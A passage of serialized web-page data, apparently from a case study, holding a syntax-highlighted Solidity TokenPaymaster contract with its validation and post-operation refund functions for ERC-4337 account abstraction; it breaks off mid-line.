study:",{"type":21,"tag":143,"props":105227,"children":105229},{"className":7205,"code":105228,"language":7204,"meta":7,"style":7},"contract TokenPaymaster is BasePaymaster, UniswapHelper, OracleHelper {\n[...]\n    function _validatePaymasterUserOp(PackedUserOperation calldata userOp, bytes32, uint256 requiredPreFund)\n        internal\n        override\n        returns (bytes memory context, uint256 validationResult)\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            uint256 dataLength = userOp.paymasterAndData.length - PAYMASTER_DATA_OFFSET;\n            require(dataLength == 0 || dataLength == 32, \"TPM: invalid data length\");\n            uint256 maxFeePerGas = userOp.unpackMaxFeePerGas();\n            uint256 refundPostopCost = tokenPaymasterConfig.refundPostopCost;\n            require(refundPostopCost \u003C userOp.unpackPostOpGasLimit(), \"TPM: postOpGasLimit too low\");\n            uint256 preChargeNative = requiredPreFund + (refundPostopCost * maxFeePerGas);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = cachedPrice * DENOM / priceMarkup;\n            if (dataLength == 32) {\n                uint256 clientSuppliedPrice =\n                    uint256(bytes32(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET:PAYMASTER_DATA_OFFSET + 32]));\n                if (clientSuppliedPrice \u003C cachedPriceWithMarkup) {\n                    // note: smaller number means 'more native asset per token'\n                    cachedPriceWithMarkup = clientSuppliedPrice;\n                }\n            }\n            uint256 tokenAmount = weiToToken(preChargeNative, cachedPriceWithMarkup);\n            tokenAmount += baseFee;\n            SafeERC20.safeTransferFrom(token, userOp.sender, address(this), tokenAmount);\n            context = abi.encode(tokenAmount, userOp.sender);\n            validationResult =\n                _packValidationData(false, uint48(cachedPriceTimestamp + tokenPaymasterConfig.priceMaxAge), 0);\n        }\n    }\n[...]\n    function _postOp(PostOpMode, bytes calldata context, uint256 actualGasCost, uint256 actualUserOpFeePerGas)\n        internal\n        override\n    {\n        unchecked {\n            uint256 priceMarkup = tokenPaymasterConfig.priceMarkup;\n            uint256 baseFee = tokenPaymasterConfig.baseFee;\n            (uint256 preCharge, address userOpSender) = abi.decode(context, (uint256, address));\n            preCharge -= baseFee; // don't refund the base fee\n            uint256 _cachedPrice = updateCachedPrice(false);\n            // note: price is in native-asset-per-token increasing it means dividing it by markup\n            uint256 cachedPriceWithMarkup = _cachedPrice * DENOM / priceMarkup;\n            // Refund tokens based on actual gas cost\n            uint256 actualChargeNative = actualGasCost + tokenPaymasterConfig.refundPostopCost * actualUserOpFeePerGas;\n            uint256 actualTokenNeeded = weiToToken(actualChargeNative, cachedPriceWithMarkup);\n            if (preCharge > actualTokenNeeded) {\n                // If initially provided token amount is greater than the actual amount needed, refund the difference\n                SafeERC20.safeTransfer(token, userOpSender, preCharge - actualTokenNeeded);\n            } else if (preCharge \u003C actualTokenNeeded) {\n                // Attempt to cover Paymaster's gas expenses by withdrawing the 'overdraft' from the client\n                // If the transfer reverts also revert the 'postOp' to remove the incentive to cheat\n                SafeERC20.safeTransferFrom(token, userOpSender, address(this), actualTokenNeeded - preCharge);\n            }\n\n            if (baseFee > 0) {\n                SafeERC20.safeTransfer(token, tokenPaymasterConfig.rewardsPool, baseFee);\n            }\n\n            emit UserOperationSponsored(userOpSender, actualTokenNeeded, actualGasCost, cachedPriceWithMarkup, baseFee);\n            refillEntryPointDeposit(_cachedPrice);\n        }\n    }\n}\n",[105230],{"type":21,"tag":78,"props":105231,"children":105232},{"__ignoreMap":7},[105233,105277,105284,105341,105349,105357,105399,105406,105418,105440,105461,105491,105542,105572,105593,105631,105670,105687,105726,105750,105767,105810,105832,105849,105866,105873,105880,105906,105923,105958,105989,106001,106048,106055,106062,106069,106136,106143,106150,106157,106168,106187,106206,106270,106293,106326,106341,106376,106384,106423,106448,106469,106477,106504,106531,106539,106547,106589,106596,106603,106627,106643,106650,106657,106675,106688,106695,106703],{"type":21,"tag":153,"props":105234,"children":105235},{"class":155,"line":156},[105236,105240,105245,105250,105255,105259,105264,105268,105273],{"type":21,"tag":153,"props":105237,"children":105238},{"style":170},[105239],{"type":26,"value":92111},{"type":21,"tag":153,"props":105241,"children":105242},{"style":214},[105243],{"type":26,"value":105244}," TokenPaymaster",{"type":21,"tag":153,"props":105246,"children":105247},{"style":170},[105248],{"type":26,"value":105249}," is",{"type":21,"tag":153,"props":105251,"children":105252},{"style":214},[105253],{"type":26,"value":105254}," BasePaymaster",{"type":21,"tag":153,"props":105256,"children":105257},{"style":160},[105258],{"type":26,"value":1670},{"type":21,"tag":153,"props":105260,"children":105261},{"style":214},[105262],{"type":26,"value":105263},"UniswapHelper",{"type":21,"tag":153,"props":105265,"children":105266},{"style":160},[105267],{"type":26,"value":1670},{"type":21,"tag":153,"props":105269,"children":105270},{"style":214},[105271],{"type":26,"value":105272},"OracleHelper",{"type":21,"tag":153,"props":105274,"children":105275},{"style":160},[105276],{"type":26,"value":236},{"type":21,"tag":153,"props":105278,"children":105279},{"class":155,"line":166},[105280],{"type":21,"tag":153,"props":105281,"children":105282},{"style":160},[105283],{"type":26,"value":13038},{"type":21,"tag":153,"props":105285,"children":105286},{"class":155,"line":225},[105287,105291,105296,105300,105305,105310,105315,105319,105324,105328,105332,105337],{"type":21,"tag":153,"props":105288,"children":105289},{"style":170},[105290],{"type":26,"value":92128},{"type":21,"tag":153,"props":105292,"children":105293},{"style":181},[105294],{"type":26,"value":105295}," _validatePaymasterUserOp",{"type":21,"tag":153,"props":105297,"children":105298},{"style":160},[105299],{"type":26,"value":189},{"type":21,"tag":153,"props":105301,"children":105302},{"style":170},[105303],{"type":26,"value":105304},"PackedUserOperation",{"type":21,"tag":153,"props":105306,"children":105307},{"style":170},[105308],{"type":26,"value":105309}," calldata",{"type":21,"tag":153,"props":105311,"children":105312},{"style":192},[105313],{"type":26,"value":105314}," userOp",{"type":21,"tag":153,"props":105316,"children":105317},{"style":160},[105318],{"type":26,"value":1670},{"type":21,"tag":153,"props":105320,"children":105321},{"style":214},[105322],{"type":26,"value":105323},"bytes32",{"type":21,"tag":153,"props":105325,"children":105326},{"style":160},[105327],{"type":26,"value":1670},{"type":21,"tag":153,"props":105329,"children":105330},{"style":214},[105331],{"type":26,"value":48457},{"type":21,"tag":153,"props":105333,"children":105334},{"style":192},[105335],{"type":26,"value":105336}," requiredPreFund",{"type":21,"tag":153,"props":105338,"children":105339},{"style":160},[105340],{"type":26,"value":5909},{"type":21,"tag":153,"props":105342,"children":105343},{"class":155,"line":239},[105344],{"type":21,"tag":153,"props":105345,"children":105346},{"style":170},[105347],{"type":26,"value":105348},"        internal\n",{"type":21,"tag":153,"props":105350,"children":105351},{"class":155,"line":382},[105352],{"type":21,"tag":153,"props":105353,"children":105354},{"style":170},[105355],{"type":26,"value":105356},"        override\n",{"type":21,"tag":153,"props":105358,"children":105359},{"class":155,"line":501},[105360,105365,105369,105373,105378,105382,105386,105390,105395],{"type":21,"tag":153,"props":105361,"children":105362},{"style":1751},[105363],{"type":26,"value":105364},"        returns",{"type":21,"tag":153,"props":105366,"children":105367},{"style":160},[105368],{"type":26,"value":5820},{"type":21,"tag":153,"props":105370,"children":105371},{"style":214},[105372],{"type":26,"value":86125},{"type":21,"tag":153,"props":105374,"children":105375},{"style":170},[105376],{"type":26,"value":105377}," memory",{"type":21,"tag":153,"props":105379,"children":105380},{"style":192},[105381],{"type":26,"value":78637},{"type":21,"tag":153,"props":105383,"children":105384},{"style":160},[105385],{"type":26,"value":1670},{"type":21,"tag":153,"props":105387,"children":105388},{"style":214},[105389],{"type":26,"value":48457},{"type":21,"tag":153,"props":105391,"children":105392},{"style":192},[105393],{"type":26,"value":105394}," validationResult",{"type":21,"tag":153,"props":105396,"children":105397},{"style":160},[105398],{"type":26,"value":5909},{"type":21,"tag":153,"props":105400,"children":105401},{"class":155,"line":533},[105402],{"type":21,"tag":153,"props":105403,"children":105404},{"style":160},[105405],{"type":26,"value":2562},{"type":21,"tag":153,"props":105407,"children":105408},{"class":155,"line":542},[105409,105414],{"type":21,"tag":153,"props":105410,"children":105411},{"style":1751},[105412],{"type":26,"value":105413},"        unchecked",{"type":21,"tag":153,"props":105415,"children":105416},{"style":160},[105417],{"type":26,"value":236},{"type":21,"tag":153,"props":105419,"children":105420},{"class":155,"line":762},[105421,105426,105431,105435],{"type":21,"tag":153,"props":105422,"children":105423},{"style":214},[105424],{"type":26,"value":105425},"            uint256",{"type":21,"tag":153,"props":105427,"children":105428},{"style":160},[105429],{"type":26,"value":105430}," priceMarkup ",{"type":21,"tag":153,"props":105432,"children":105433},{"style":198},[105434],{"type":26,"value":2367},{"type":21,"tag":153,"props":105436,"children":105437},{"style":160},[105438],{"type":26,"value":105439}," tokenPaymasterConfig.priceMarkup;\n",{"type":21,"tag":153,"props":105441,"children":105442},{"class":155,"line":776},[105443,105447,105452,105456],{"type":21,"tag":153,"props":105444,"children":105445},{"style":214},[105446],{"type":26,"value":105425},{"type":21,"tag":153,"props":105448,"children":105449},{"style":160},[105450],{"type":26,"value":105451}," baseFee ",{"type":21,"tag":153,"props":105453,"children":105454},{"style":198},[105455],{"type":26,"value":2367},{"type":21,"tag":153,"props":105457,"children":105458},{"style":160},[105459],{"type":26,"value":105460}," tokenPaymasterConfig.baseFee;\n",{"type":21,"tag":153,"props":105462,"children":105463},{"class":155,"line":795},[105464,105468,105473,105477,105482,105486],{"type":21,"tag":153,"props":105465,"children":105466},{"style":214},[105467],{"type":26,"value":105425},{"type":21,"tag":153,"props":105469,"children":105470},{"style":160},[105471],{"type":26,"value":105472}," dataLength ",{"type":21,"tag":153,"props":105474,"children":105475},{"style":198},[105476],{"type":26,"value":2367},{"type":21,"tag":153,"props":105478,"children":105479},{"style":160},[105480],{"type":26,"value":105481}," userOp.paymasterAndData.length ",{"type":21,"tag":153,"props":105483,"children":105484},{"style":198},[105485],{"type":26,"value":3873},{"type":21,"tag":153,"props":105487,"children":105488},{"style":160},[105489],{"type":26,"value":105490}," PAYMASTER_DATA_OFFSET;\n",{"type":21,"tag":153,"props":105492,"children":105493},{"class":155,"line":808},[105494,105499,105504,105508,105512,105516,105520,105524,105529,105533,105538],{"type":21,"tag":153,"props":105495,"children":105496},{"style":1751},[105497],{"type":26,"value":105498},"            require",{"type":21,"tag":153,"props":105500,"children":105501},{"style":160},[105502],{"type":26,"value":105503},"(dataLength ",{"type":21,"tag":153,"props":105505,"children":105506},{"style":198},[105507],{"type":26,"value":1694},{"type":21,"tag":153,"props":105509,"children":105510},{"style":300},[105511],{"type":26,"value":5799},{"type":21,"tag":153,"props":105513,"children":105514},{"style":198},[105515],{"type":26,"value":26394},{"type":21,"tag":153,"props":105517,"children":105518},{"style":160},[105519],{"type":26,"value":105472},{"type":21,"tag":153,"props":105521,"children":105522},{"style":198},[105523],{"type":26,"value":1694},{"type":21,"tag":153,"props":105525,"children":105526},{"style":300},[105527],{"type":26,"value":105528}," 32",{"type":21,"tag":153,"props":105530,"children":105531},{"style":160},[105532],{"type":26,"value":1670},{"type":21,"tag":153,"props":105534,"children":105535},{"style":671},[105536],{"type":26,"value":105537},"\"TPM: invalid data length\"",{"type":21,"tag":153,"props":105539,"children":105540},{"style":160},[105541],{"type":26,"value":530},{"type":21,"tag":153,"props":105543,"children":105544},{"class":155,"line":820},[105545,105549,105554,105558,105563,105568],{"type":21,"tag":153,"props":105546,"children":105547},{"style":214},[105548],{"type":26,"value":105425},{"type":21,"tag":153,"props":105550,"children":105551},{"style":160},[105552],{"type":26,"value":105553}," maxFeePerGas ",{"type":21,"tag":153,"props":105555,"children":105556},{"style":198},[105557],{"type":26,"value":2367},{"type":21,"tag":153,"props":105559,"children":105560},{"style":160},[105561],{"type":26,"value":105562}," userOp.",{"type":21,"tag":153,"props":105564,"children":105565},{"style":181},[105566],{"type":26,"value":105567},"unpackMaxFeePerGas",{"type":21,"tag":153,"props":105569,"children":105570},{"style":160},[105571],{"type":26,"value":839},{"type":21,"tag":153,"props":105573,"children":105574},{"class":155,"line":842},[105575,105579,105584,105588],{"type":21,"tag":153,"props":105576,"children":105577},{"style":214},[105578],{"type":26,"value":105425},{"type":21,"tag":153,"props":105580,"children":105581},{"style":160},[105582],{"type":26,"value":105583}," refundPostopCost ",{"type":21,"tag":153,"props":105585,"children":105586},{"style":198},[105587],{"type":26,"value":2367},{"type":21,"tag":153,"props":105589,"children":105590},{"style":160},[105591],{"type":26,"value":105592}," tokenPaymasterConfig.refundPostopCost;\n",{"type":21,"tag":153,"props":105594,"children":105595},{"class":155,"line":3204},[105596,105600,105605,105609,105613,105618,105622,105627],{"type":21,"tag":153,"props":105597,"children":105598},{"style":1751},[105599],{"type":26,"value":105498},{"type":21,"tag":153,"props":105601,"children":105602},{"style":160},[105603],{"type":26,"value":105604},"(refundPostopCost ",{"type":21,"tag":153,"props":105606,"children":105607},{"style":198},[105608],{"type":26,"value":8537},{"type":21,"tag":153,"props":105610,"children":105611},{"style":160},[105612],{"type":26,"value":105562},{"type":21,"tag":153,"props":105614,"children":105615},{"style":181},[105616],{"type":26,"value":105617},"unpackPostOpGasLimit",{"type":21,"tag":153,"props":105619,"children":105620},{"style":160},[105621],{"type":26,"value":21072},{"type":21,"tag":153,"props":105623,"children":105624},{"style":671},[105625],{"type":26,"value":105626},"\"TPM: postOpGasLimit too low\"",{"type":21,"tag":153,"props":105628,"children":105629},{"style":160},[105630],{"type":26,"value":530},{"type":21,"tag":153,"props":105632,"children":105633},{"class":155,"line":3230},[105634,105638,105643,105647,105652,105656,105661,105665],{"type":21,"tag":153,"props":105635,"children":105636},{"style":214},[105637],{"type":26,"value":105425},{"type":21,"tag":153,"props":105639,"children":105640},{"style":160},[105641],{"type":26,"value":105642}," preChargeNative ",{"type":21,"tag":153,"props":105644,"children":105645},{"style":198},[105646],{"type":26,"value":2367},{"type":21,"tag":153,"props":105648,"children":105649},{"style":160},[105650],{"type":26,"value":105651}," requiredPreFund ",{"type":21,"tag":153,"props":105653,"children":105654},{"style":198},[105655],{"type":26,"value":4099},{"type":21,"tag":153,"props":105657,"children":105658},{"style":160},[105659],{"type":26,"value":105660}," (refundPostopCost ",{"type":21,"tag":153,"props":105662,"children":105663},{"style":198},[105664],{"type":26,"value":313},{"type":21,"tag":153,"props":105666,"children":105667},{"style":160},[105668],{"type":26,"value":105669}," maxFeePerGas);\n",{"type":21,"tag":153,"props":105671,"children":105672},{"class":155,"line":3239},[105673,105678,105682],{"type":21,"tag":153,"props":105674,"children":105675},{"style":3050},[105676],{"type":26,"value":105677},"            // ",{"type":21,"tag":153,"props":105679,"children":105680},{"style":170},[105681],{"type":26,"value":69053},{"type":21,"tag":153,"props":105683,"children":105684},{"style":3050},[105685],{"type":26,"value":105686},": price is in native-asset-per-token increasing it means dividing it by markup\n",{"type":21,"tag":153,"props":105688,"children":105689},{"class":155,"line":3253},[105690,105694,105699,105703,105708,105712,105717,105721],{"type":21,"tag":153,"props":105691,"children":105692},{"style":214},[105693],{"type":26,"value":105425},{"type":21,"tag":153,"props":105695,"children":105696},{"style":160},[105697],{"type":26,"value":105698}," cachedPriceWithMarkup ",{"type":21,"tag":153,"props":105700,"children":105701},{"style":198},[105702],{"type":26,"value":2367},{"type":21,"tag":153,"props":105704,"children":105705},{"style":160},[105706],{"type":26,"value":105707}," cachedPrice ",{"type":21,"tag":153,"props":105709,"children":105710},{"style":198},[105711],{"type":26,"value":313},{"type":21,"tag":153,"props":105713,"children":105714},{"style":160},[105715],{"type":26,"value":105716}," DENOM ",{"type":21,"tag":153,"props":105718,"children":105719},{"style":198},[105720],{"type":26,"value":7310},{"type":21,"tag":153,"props":105722,"children":105723},{"style":160},[105724],{"type":26,"value":105725}," priceMarkup;\n",{"type":21,"tag":153,"props":105727,"children":105728},{"class":155,"line":3301},[105729,105733,105738,105742,105746],{"type":21,"tag":153,"props":105730,"children":105731},{"style":1751},[105732],{"type":26,"value":61093},{"type":21,"tag":153,"props":105734,"children":105735},{"style":160},[105736],{"type":26,"value":105737}," (dataLength ",{"type":21,"tag":153,"props":105739,"children":105740},{"style":198},[105741],{"type":26,"value":1694},{"type":21,"tag":153,"props":105743,"children":105744},{"style":300},[105745],{"type":26,"value":105528},{"type":21,"tag":153,"props":105747,"children":105748},{"style":160},[105749],{"type":26,"value":2659},{"type":21,"tag":153,"props":105751,"children":105752},{"class":155,"line":3346},[105753,105758,105763],{"type":21,"tag":153,"props":105754,"children":105755},{"style":214},[105756],{"type":26,"value":105757},"                uint256",{"type":21,"tag":153,"props":105759,"children":105760},{"style":160},[105761],{"type":26,"value":105762}," clientSuppliedPrice ",{"type":21,"tag":153,"props":105764,"children":105765},{"style":198},[105766],{"type":26,"value":17396},{"type":21,"tag":153,"props":105768,"children":105769},{"class":155,"line":3355},[105770,105775,105779,105783,105788,105792,105797,105801,105805],{"type":21,"tag":153,"props":105771,"children":105772},{"style":214},[105773],{"type":26,"value":105774},"                    uint256",{"type":21,"tag":153,"props":105776,"children":105777},{"style":160},[105778],{"type":26,"value":189},{"type":21,"tag":153,"props":105780,"children":105781},{"style":214},[105782],{"type":26,"value":105323},{"type":21,"tag":153,"props":105784,"children":105785},{"style":160},[105786],{"type":26,"value":105787},"(userOp.paymasterAndData[PAYMASTER_DATA_OFFSET",{"type":21,"tag":153,"props":105789,"children":105790},{"style":198},[105791],{"type":26,"value":201},{"type":21,"tag":153,"props":105793,"children":105794},{"style":160},[105795],{"type":26,"value":105796},"PAYMASTER_DATA_OFFSET ",{"type":21,"tag":153,"props":105798,"children":105799},{"style":198},[105800],{"type":26,"value":4099},{"type":21,"tag":153,"props":105802,"children":105803},{"style":300},[105804],{"type":26,"value":105528},{"type":21,"tag":153,"props":105806,"children":105807},{"style":160},[105808],{"type":26,"value":105809},"]));\n",{"type":21,"tag":153,"props":105811,"children":105812},{"class":155,"line":3364},[105813,105818,105823,105827],{"type":21,"tag":153,"props":105814,"children":105815},{"style":1751},[105816],{"type":26,"value":105817},"                if",{"type":21,"tag":153,"props":105819,"children":105820},{"style":160},[105821],{"type":26,"value":105822}," (clientSuppliedPrice ",{"type":21,"tag":153,"props":105824,"children":105825},{"style":198},[105826],{"type":26,"value":8537},{"type":21,"tag":153,"props":105828,"children":105829},{"style":160},[105830],{"type":26,"value":105831}," cachedPriceWithMarkup) {\n",{"type":21,"tag":153,"props":105833,"children":105834},{"class":155,"line":3376},[105835,105840,105844],{"type":21,"tag":153,"props":105836,"children":105837},{"style":3050},[105838],{"type":26,"value":105839},"                    // ",{"type":21,"tag":153,"props":105841,"children":105842},{"style":170},[105843],{"type":26,"value":69053},{"type":21,"tag":153,"props":105845,"children":105846},{"style":3050},[105847],{"type":26,"value":105848},": smaller number means 'more native asset per token'\n",{"type":21,"tag":153,"props":105850,"children":105851},{"class":155,"line":3393},[105852,105857,105861],{"type":21,"tag":153,"props":105853,"children":105854},{"style":160},[105855],{"type":26,"value":105856},"                    cachedPriceWithMarkup ",{"type":21,"tag":153,"props":105858,"children":105859},{"style":198},[105860],{"type":26,"value":2367},{"type":21,"tag":153,"props":105862,"children":105863},{"style":160},[105864],{"type":26,"value":105865}," clientSuppliedPrice;\n",{"type":21,"tag":153,"props":105867,"children":105868},{"class":155,"line":3405},[105869],{"type":21,"tag":153,"props":105870,"children":105871},{"style":160},[105872],{"type":26,"value":73366},{"type":21,"tag":153,"props":105874,"children":105875},{"class":155,"line":3427},[105876],{"type":21,"tag":153,"props":105877,"children":105878},{"style":160},[105879],{"type":26,"value":61177},{"type":21,"tag":153,"props":105881,"children":105882},{"class":155,"line":3448},[105883,105887,105892,105896,105901],{"type":21,"tag":153,"props":105884,"children":105885},{"style":214},[105886],{"type":26,"value":105425},{"type":21,"tag":153,"props":105888,"children":105889},{"style":160},[105890],{"type":26,"value":105891}," tokenAmount ",{"type":21,"tag":153,"props":105893,"children":105894},{"style":198},[105895],{"type":26,"value":2367},{"type":21,"tag":153,"props":105897,"children":105898},{"style":181},[105899],{"type":26,"value":105900}," weiToToken",{"type":21,"tag":153,"props":105902,"children":105903},{"style":160},[105904],{"type":26,"value":105905},"(preChargeNative, cachedPriceWithMarkup);\n",{"type":21,"tag":153,"props":105907,"children":105908},{"class":155,"line":3456},[105909,105914,105918],{"type":21,"tag":153,"props":105910,"children":105911},{"style":160},[105912],{"type":26,"value":105913},"            tokenAmount ",{"type":21,"tag":153,"props":105915,"children":105916},{"style":198},[105917],{"type":26,"value":70732},{"type":21,"tag":153,"props":105919,"children":105920},{"style":160},[105921],{"type":26,"value":105922}," baseFee;\n",{"type":21,"tag":153,"props":105924,"children":105925},{"class":155,"line":3493},[105926,105931,105936,105941,105945,105949,105953],{"type":21,"tag":153,"props":105927,"children":105928},{"style":160},[105929],{"type":26,"value":105930},"            SafeERC20.",{"type":21,"tag":153,"props":105932,"children":105933},{"style":181},[105934],{"type":26,"value":105935},"safeTransferFrom",{"type":21,"tag":153,"props":105937,"children":105938},{"style":160},[105939],{"type":26,"value":105940},"(token, userOp.sender, ",{"type":21,"tag":153,"props":105942,"children":105943},{"style":214},[105944],{"type":26,"value":35334},{"type":21,"tag":153,"props":105946,"children":105947},{"style":160},[105948],{"type":26,"value":189},{"type":21,"tag":153,"props":105950,"children":105951},{"style":170},[105952],{"type":26,"value":20389},{"type":21,"tag":153,"props":105954,"children":105955},{"style":160},[105956],{"type":26,"value":105957},"), tokenAmount);\n",{"type":21,"tag":153,"props":105959,"children":105960},{"class":155,"line":3509},[105961,105966,105970,105975,105979,105984],{"type":21,"tag":153,"props":105962,"children":105963},{"style":160},[105964],{"type":26,"value":105965},"            context ",{"type":21,"tag":153,"props":105967,"children":105968},{"style":198},[105969],{"type":26,"value":2367},{"type":21,"tag":153,"props":105971,"children":105972},{"style":170},[105973],{"type":26,"value":105974}," abi",{"type":21,"tag":153,"props":105976,"children":105977},{"style":160},[105978],{"type":26,"value":355},{"type":21,"tag":153,"props":105980,"children":105981},{"style":181},[105982],{"type":26,"value":105983},"encode",{"type":21,"tag":153,"props":105985,"children":105986},{"style":160},[105987],{"type":26,"value":105988},"(tokenAmount, userOp.sender);\n",{"type":21,"tag":153,"props":105990,"children":105991},{"class":155,"line":3517},[105992,105997],{"type":21,"tag":153,"props":105993,"children":105994},{"style":160},[105995],{"type":26,"value":105996},"            validationResult ",{"type":21,"tag":153,"props":105998,"children":105999},{"style":198},[106000],{"type":26,"value":17396},{"type":21,"tag":153,"props":106002,"children":106003},{"class":155,"line":3526},[106004,106009,106013,106017,106021,106026,106031,106035,106040,106044],{"type":21,"tag":153,"props":106005,"children":106006},{"style":181},[106007],{"type":26,"value":106008},"                _packValidationData",{"type":21,"tag":153,"props":106010,"children":106011},{"style":160},[106012],{"type":26,"value":189},{"type":21,"tag":153,"props":106014,"children":106015},{"style":170},[106016],{"type":26,"value":10901},{"type":21,"tag":153,"props":106018,"children":106019},{"style":160},[106020],{"type":26,"value":1670},{"type":21,"tag":153,"props":106022,"children":106023},{"style":214},[106024],{"type":26,"value":106025},"uint48",{"type":21,"tag":153,"props":106027,"children":106028},{"style":160},[106029],{"type":26,"value":106030},"(cachedPriceTimestamp ",{"type":21,"tag":153,"props":106032,"children":106033},{"style":198},[106034],{"type":26,"value":4099},{"type":21,"tag":153,"props":106036,"children":106037},{"style":160},[106038],{"type":26,"value":106039}," tokenPaymasterConfig.priceMaxAge), ",{"type":21,"tag":153,"props":106041,"children":106042},{"style":300},[106043],{"type":26,"value":2996},{"type":21,"tag":153,"props":106045,"children":106046},{"style":160},[106047],{"type":26,"value":530},{"type":21,"tag":153,"props":106049,"children":106050},{"class":155,"line":3607},[106051],{"type":21,"tag":153,"props":106052,"children":106053},{"style":160},[106054],{"type":26,"value":2765},{"type":21,"tag":153,"props":106056,"children":106057},{"class":155,"line":3615},[106058],{"type":21,"tag":153,"props":106059,"children":106060},{"style":160},[106061],{"type":26,"value":539},{"type":21,"tag":153,"props":106063,"children":106064},{"class":155,"line":3629},[106065],{"type":21,"tag":153,"props":106066,"children":106067},{"style":160},[106068],{"type":26,"value":13038},{"type":21,"tag":153,"props":106070,"children":106071},{"class":155,"line":26297},[106072,106076,106081,106085,106090,106094,106098,106102,106106,106110,106114,106119,106123,106127,106132],{"type":21,"tag":153,"props":106073,"children":106074},{"style":170},[106075],{"type":26,"value":92128},{"type":21,"tag":153,"props":106077,"children":106078},{"style":181},[106079],{"type":26,"value":106080}," _postOp",{"type":21,"tag":153,"props":106082,"children":106083},{"style":160},[106084],{"type":26,"value":189},{"type":21,"tag":153,"props":106086,"children":106087},{"style":170},[106088],{"type":26,"value":106089},"PostOpMode",{"type":21,"tag":153,"props":106091,"children":106092},{"style":160},[106093],{"type":26,"value":1670},{"type":21,"tag":153,"props":106095,"children":106096},{"style":214},[106097],{"type":26,"value":86125},{"type":21,"tag":153,"props":106099,"children":106100},{"style":170},[106101],{"type":26,"value":105309},{"type":21,"tag":153,"props":106103,"children":106104},{"style":192},[106105],{"type":26,"value":78637},{"type":21,"tag":153,"props":106107,"children":106108},{"style":160},[106109],{"type":26,"value":1670},{"type":21,"tag":153,"props":106111,"children":106112},{"style":214},[106113],{"type":26,"value":48457},{"type":21,"tag":153,"props":106115,"children":106116},{"style":192},[106117],{"type":26,"value":106118}," actualGasCost",{"type":21,"tag":153,"props":106120,"children":106121},{"style":160},[106122],{"type":26,"value":1670},{"type":21,"tag":153,"props":106124,"children":106125},{"style":214},[106126],{"type":26,"value":48457},{"type":21,"tag":153,"props":106128,"children":106129},{"style":192},[106130],{"type":26,"value":106131}," actualUserOpFeePerGas",{"type":21,"tag":153,"props":106133,"children":106134},{"style":160},[106135],{"type":26,"value":5909},{"type":21,"tag":153,"props":106137,"children":106138},{"class":155,"line":26330},[106139],{"type":21,"tag":153,"props":106140,"children":106141},{"style":170},[106142],{"type":26,"value":105348},{"type":21,"tag":153,"props":106144,"children":106145},{"class":155,"line":26338},[106146],{"type":21,"tag":153,"props":106147,"children":106148},{"style":170},[106149],{"type":26,"value":105356},{"type":21,"tag":153,"props":106151,"children":106152},{"class":155,"line":26346},[106153],{"type":21,"tag":153,"props":106154,"children":106155},{"style":160},[106156],{"type":26,"value":2562},{"type":21,"tag":153,"props":106158,"children":106159},{"class":155,"line":26355},[106160,106164],{"type":21,"tag":153,"props":106161,"children":106162},{"style":1751},[106163],{"type":26,"value":105413},{"type":21,"tag":153,"props":106165,"children":106166},{"style":160},[106167],{"type":26,"value":236},{"type":21,"tag":153,"props":106169,"children":106170},{"class":155,"line":26431},[106171,106175,106179,106183],{"type":21,"tag":153,"props":106172,"children":106173},{"style":214},[106174],{"type":26,"value":105425},{"type":21,"tag":153,"props":106176,"children":106177},{"style":160},[106178],{"type":26,"value":105430},{"type":21,"tag":153,"props":106180,"children":106181},{"style":198},[106182],{"type":26,"value":2367},{"type":21,"tag":153,"props":106184,"children":106185},{"style":160},[106186],{"type":26,"value":105439},{"type":21,"tag":153,"props":106188,"children":106189},{"class":155,"line":26464},[106190,106194,106198,106202],{"type":21,"tag":153,"props":106191,"children":106192},{"style":214},[106193],{"type":26,"value":105425},{"type":21,"tag":153,"props":106195,"children":106196},{"style":160},[106197],{"type":26,"value":105451},{"type":21,"tag":153,"props":106199,"children":106200},{"style":198},[106201],{"type":26,"value":2367},{"type":21,"tag":153,"props":106203,"children":106204},{"style":160},[106205],{"type":26,"value":105460},{"type":21,"tag":153,"props":106207,"children":106208},{"class":155,"line":26472},[106209,106214,106218,106223,106227,106232,106236,106240,106244,106249,106254,106258,106262,106266],{"type":21,"tag":153,"props":106210,"children":106211},{"style":160},[106212],{"type":26,"value":106213},"            (",{"type":21,"tag":153,"props":106215,"children":106216},{"style":214},[106217],{"type":26,"value":48457},{"type":21,"tag":153,"props":106219,"children":106220},{"style":160},[106221],{"type":26,"value":106222}," preCharge, ",{"type":21,"tag":153,"props":106224,"children":106225},{"style":214},[106226],{"type":26,"value":35334},{"type":21,"tag":153,"props":106228,"children":106229},{"style":160},[106230],{"type":26,"value":106231}," userOpSender) ",{"type":21,"tag":153,"props":106233,"children":106234},{"style":198},[106235],{"type":26,"value":2367},{"type":21,"tag":153,"props":106237,"children":106238},{"style":170},[106239],{"type":26,"value":105974},{"type":21,"tag":153,"props":106241,"children":106242},{"style":160},[106243],{"type":26,"value":355},{"type":21,"tag":153,"props":106245,"children":106246},{"style":181},[106247],{"type":26,"value":106248},"decode",{"type":21,"tag":153,"props":106250,"children":106251},{"style":160},[106252],{"type":26,"value":106253},"(context, (",{"type":21,"tag":153,"props":106255,"children":106256},{"style":214},[106257],{"type":26,"value":48457},{"type":21,"tag":153,"props":106259,"children":106260},{"style":160},[106261],{"type":26,"value":1670},{"type":21,"tag":153,"props":106263,"children":106264},{"style":214},[106265],{"type":26,"value":35334},{"type":21,"tag":153,"props":106267,"children":106268},{"style":160},[106269],{"type":26,"value":9951},{"type":21,"tag":153,"props":106271,"children":106272},{"class":155,"line":26480},[106273,106278,106283,106288],{"type":21,"tag":153,"props":106274,"children":106275},{"style":160},[106276],{"type":26,"value":106277},"            preCharge ",{"type":21,"tag":153,"props":106279,"children":106280},{"style":198},[106281],{"type":26,"value":106282},"-=",{"type":21,"tag":153,"props":106284,"children":106285},{"style":160},[106286],{"type":26,"value":106287}," baseFee; ",{"type":21,"tag":153,"props":106289,"children":106290},{"style":3050},[106291],{"type":26,"value":106292},"// don't refund the base fee\n",{"type":21,"tag":153,"props":106294,"children":106295},{"class":155,"line":26517},[106296,106300,106305,106309,106314,106318,106322],{"type":21,"tag":153,"props":106297,"children":106298},{"style":214},[106299],{"type":26,"value":105425},{"type":21,"tag":153,"props":106301,"children":106302},{"style":160},[106303],{"type":26,"value":106304}," _cachedPrice 